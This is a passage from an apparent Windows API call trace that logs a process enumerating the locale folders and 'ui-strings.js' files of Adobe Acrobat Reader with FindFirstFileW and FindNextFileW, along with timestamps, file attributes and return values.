ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0257.629] GetProcessHeap () returned 0xc10000 [0257.629] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.629] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0257.630] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.630] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x411, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.630] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x411, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.630] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0257.630] GetProcessHeap () returned 0xc10000 [0257.630] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.630] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0257.630] GetProcessHeap () returned 0xc10000 [0257.630] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0257.642] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.642] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.642] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.642] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0257.642] GetProcessHeap () returned 0xc10000 [0257.642] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.642] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0257.643] GetProcessHeap () returned 0xc10000 [0257.643] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0257.726] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.726] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.726] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.726] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0257.727] GetProcessHeap () returned 0xc10000 [0257.727] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.727] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0257.727] GetProcessHeap () returned 0xc10000 [0257.727] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0257.905] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.905] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x423, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.905] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x423, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.905] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0257.906] GetProcessHeap () returned 0xc10000 [0257.906] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.906] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0257.906] GetProcessHeap () returned 0xc10000 [0257.906] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0257.942] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.942] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0257.942] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0257.942] GetProcessHeap () returned 0xc10000 [0257.942] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.942] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0257.942] GetProcessHeap () returned 0xc10000 [0257.943] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.943] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0257.943] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.943] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.943] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.943] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0257.944] GetProcessHeap () returned 0xc10000 [0257.944] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.944] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0257.944] GetProcessHeap () returned 0xc10000 [0257.944] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.944] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0257.999] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.000] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.000] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.000] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.000] GetProcessHeap () returned 0xc10000 [0258.000] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0258.000] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.000] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0258.001] GetProcessHeap () returned 0xc10000 [0258.001] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0258.001] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0258.001] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.001] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.001] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.001] FindClose (in: 